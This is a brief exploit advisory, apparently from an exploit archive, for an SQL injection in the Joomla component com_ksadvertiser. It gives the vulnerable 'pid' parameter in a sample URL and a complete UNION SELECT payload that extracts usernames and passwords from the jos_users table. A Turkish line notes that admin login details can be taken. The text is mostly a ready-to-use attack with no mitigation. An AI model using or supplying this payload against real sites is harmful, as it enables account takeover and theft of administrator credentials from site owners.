Joomla! Component com_ksadvertiser – SQL Injection
######################################################################## # Joomla Component com_ksadvertiser SQL Injection Vulnerability ######################################################################## # Author :FL0RiX # # Name : com_ksadvertiser # # Bug Type : SQL Injection # # Infection : Admin login bilgileri alinabilir. # # Demo Vuln : # # http://server/index.php?option=com_ksadvertiser&pid=[EXPLOIT]&task=showcats # #EXPLOIT : null/**/union/**/select/**/1,2,3,4,concat(username,0x3a,password),6,7,8,9,10,11,12,13,14/**/from/**/jos_users-- ######################################################################## |